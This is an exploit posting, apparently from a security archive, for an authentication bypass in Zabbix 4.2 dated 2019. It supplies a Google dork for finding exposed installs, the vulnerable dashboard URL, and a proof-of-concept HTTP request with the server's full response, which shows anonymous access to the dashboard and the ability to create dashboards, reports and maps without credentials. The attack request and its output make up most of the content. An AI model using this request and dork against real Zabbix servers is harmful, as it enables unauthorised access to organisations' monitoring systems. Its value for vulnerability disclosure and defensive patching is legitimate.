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Zabbix 4.2 Authentication Bypass

Zabbix 4.2 Authentication Bypass
Posted Oct 7, 2019
Authored by Milad Khoshdel

Zabbix version 4.2 suffers from an authentication bypass vulnerability.

tags | exploit, bypass
MD5 | 5d60f6543a26e26301ec67977e8d457d

Zabbix 4.2 Authentication Bypass

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# Exploit Title: Zabbix 4.2 - Authentication Bypass
# Date: 2019-10-06
# Exploit Author: Milad Khoshdel
# Software Link: https://www.zabbix.com/download
# Version: Zabbix [2.x , 3.x , 4.x] Tested on latest version Zabbix 4.2
# Tested on: Linux Apache/2 PHP/7.2
# Google Dork: inurl:zabbix/zabbix.php



=========
Vulnerable Page:
=========

/zabbix.php?action=dashboard.view&dashboardid=1


=========
POC:
=========

Attacker can bypass login page and access to dashboard page and create [Dashboard/Report/Screen/Map] without any Username/Password and anonymously.
All Created elements [Dashboard/Report/Screen/Map] is accessible by other users and admin.


REGUEST -->

GET /zabbix.php?action=dashboard.view&dashboardid=1 HTTP/1.1
Host: [HOST-IP]
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close


RESPONSE -->

HTTP/1.1 200 OK
Date: Sun, 06 Oct 2019 11:40:18 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: zbx_sessionid=a8d192ec833bd4476e0f6a550e6e5bed; HttpOnly
Set-Cookie: PHPSESSID=i2j8kt08m7dp3ojstqeaod9joo; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=i2j8kt08m7dp3ojstqeaod9joo; path=/; HttpOnly
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Content-Length: 19239
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html>

[Dashboard Page Content Will Load Here]

</html>
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